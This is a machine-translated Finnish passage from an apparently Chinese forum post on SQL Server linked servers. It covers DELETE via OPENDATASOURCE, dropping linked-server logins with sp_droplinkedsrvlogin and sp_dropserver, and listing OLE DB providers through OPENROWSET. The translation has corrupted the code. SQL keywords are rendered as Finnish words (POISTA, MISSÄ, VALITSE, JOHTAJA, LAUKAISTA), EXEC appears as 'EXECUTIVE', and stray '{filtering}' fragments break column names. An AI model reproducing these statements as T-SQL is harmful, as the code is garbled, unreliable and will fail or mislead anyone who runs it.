POISTA OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana').
Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
MISSÄ kentän nimi='ehto'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
MISSÄ Henkilöt='g'
*/
- Huomautus: Lisää vaihtoehtoja

Katso .3.1-kyselyesimerkki, korvaa vain sisältö rivijoukko-funktiossa (OPENDATASOURCE).
--
Poista linkitetyn palvelimen menetelmä
--Jos et enää käytä linkkitietoja tulevaisuudessa, voit poistaa linkkitiedot
--4.1
Poista kirjautumistiedot (tai poista linkitetyn palvelimen kirjautumisnimikartta)
EXECUTIVE sp_droplinkedsrvlogin 'LinkName', NULL
/*
Esimerkiksi: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Poista linkitetyn palvelimen nimi
EXEC sp_dropserver 'LinkName', 'droplogins' – jos droploginit on määritelty,
Kirjautumiskartta täytyy poistaa ennen kuin linkitetyn palvelimen poistaminen
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Liitteenä


Kuinka saada palveluntarjoajan nimi (EXECUTIVE master). xp_enum_oledb_providers)
VALITSE CAST([Palveluntarjoajan nimi] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
LÄHTEESTÄ

OPENROWSET(
'SQLOLEDB',
'Palvelin=.; Trusted_Connection=kyllä',
'LAUKAISTA FMTONLY;
JOHTAJA

mestari.. xp_enum_oledb_providers'
)




Edellinen:UCloudin haavoittuvuuksien käsittelyprosessi ja palkitsemistiedot
Seuraava:Voin ehtiä junalla kotiin tänään, enkä ole ollut kotona yli puoleen vuoteen
Julkaistu 27.9.2017 17.43.11 |
Erittäin yksityiskohtaista Kiitos
 Vuokraisäntä| Julkaistu 17.6.2023 11.12.11 |
Testaa SQL-injektiotestaus SQLMAP-infiltraatiotyökalulla
https://www.itsvse.com/thread-10611-1-1.html
Vastuuvapauslauseke:
Kaikki Code Farmer Networkin julkaisemat ohjelmistot, ohjelmamateriaalit tai artikkelit ovat tarkoitettu vain oppimis- ja tutkimustarkoituksiin; Yllä mainittua sisältöä ei saa käyttää kaupallisiin tai laittomiin tarkoituksiin, muuten käyttäjät joutuvat kantamaan kaikki seuraukset. Tämän sivuston tiedot ovat peräisin internetistä, eikä tekijänoikeuskiistat liity tähän sivustoon. Sinun tulee poistaa yllä oleva sisältö kokonaan tietokoneeltasi 24 tunnin kuluessa lataamisesta. Jos pidät ohjelmasta, tue aitoa ohjelmistoa, osta rekisteröityminen ja hanki parempia aitoja palveluita. Jos rikkomuksia ilmenee, ota meihin yhteyttä sähköpostitse.

Mail To:help@itsvse.com